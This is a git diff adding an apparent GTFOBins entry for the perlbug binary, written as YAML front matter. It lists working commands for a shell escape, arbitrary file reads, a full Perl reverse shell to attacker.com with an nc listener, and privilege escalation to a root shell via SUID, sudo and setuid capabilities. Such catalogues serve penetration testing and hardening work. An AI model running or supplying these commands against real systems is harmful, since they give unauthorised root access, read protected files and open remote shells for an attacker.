diff --git a/_gtfobins/perlbug.md b/_gtfobins/perlbug.md new file mode 100644 index 0000000..707d712 --- /dev/null +++ b/_gtfobins/perlbug.md @@ -0,0 +1,21 @@ +--- +functions: + shell: + - code: perlbug -e 'exec "/bin/sh";' + file-read: + - code: | + LFILE=file_to_read + perlbug -ne print $LFILE + reverse-shell: + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | + export RHOST=attacker.com + export RPORT=12345 + perlbug -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' + suid: + - code: ./perlbug -e 'exec "/bin/sh";' + sudo: + - code: sudo perlbug -e 'exec "/bin/sh";' + capabilities: + - code: ./perlbug -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' +---